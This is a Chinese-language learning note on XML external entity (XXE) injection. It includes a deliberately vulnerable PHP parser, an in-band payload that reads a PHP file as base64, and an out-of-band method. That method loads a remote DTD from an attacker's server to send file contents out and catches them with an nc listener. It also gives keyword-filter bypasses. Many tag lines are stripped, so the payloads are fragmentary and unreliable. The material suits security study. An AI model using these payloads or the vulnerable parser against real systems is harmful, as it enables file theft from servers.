Xml外部实体注入学习


前置知识之XML语言

xml语言指可扩展标记语言,构建模块:xml声明,文档类型定义(DTD),文档元素。

其中DTD可以内部声明和外部引用:

DTD声明语法

DOCTYPE 名字 [内容]>

外部引用语法

DOCTYPE 名字 SYSTEM "XXX.dtd">

实体在DTD中定义,在元素中引用

实体声明例子

 名字 "内容">
ENTITY % 名字 "内容">

在元素中引用实体例子

<username>&名字;username>
<username>%名字;username>

有回显的xxe利用

通过构造恶意的实体并引用造成xxe攻击

构造一个可以解析xml的php文件

<?php
libxml_disable_entity_loader(false);#启用可以加载外部实体
$xmlfile=file_get_contents(php://input);
$dom=new DOMDocument();
$dom->loadXML($xmlfile,LIBXML_NONET | LIBXML_DTDLOAD);#加载xml
$creds=simplexml_import_dom($dom);#把DOM节点转换为SimpleXMLElement对象
echo $creds;
?>

构造payload来读取test.php文件内容

<?xml version="1.0" encoding="utf-8"?>

]>
&aa;

打一下获得base64加密的test.php源码

无回显xxe利用

远程调用自己服务器上的恶意dtd从而将数据发到自己服务器上。

此时把存在xxe的php文件改为如下

<?php
libxml_disable_entity_loader(false);#启用可以加载外部实体
$xmlfile=file_get_contents(php://input);
$dom=new DOMDocument();
$dom->loadXML($xmlfile,LIBXML_NONET | LIBXML_DTDLOAD);#加载xml
?>

在自己的服务器上放入文件remote.dtd,内容如下:

ENTITY % file SYSTEM "php://filter/read=string.base64-encode/resource=test.php" >
ENTITY % int ">">
%int;
%send;

 payload如下:

DOCTYPE convert[
>
%remote;
]>

 攻击利用方式同上,在服务器上开nc监听即可收到数据。

xxe bypass

上传xml文件但关键字被过滤时可用如下命令进制转换

iconv -f utf8 -t utf16 1.xml>2.xml

绕过关键字SYSTEM的过滤payload

<?xml version="1.0" encoding="utf-8"?>
DOCTYPE creds [
>
]>
<creds>&aa;creds>

绕过远程dtd的过滤:

在服务器上构造如下文件命名为1.d(引用dtd不一定非要用.dtd结尾)

ENTITY aa  PUBLIC "Yu" "http://127.0.0.1/flag.php">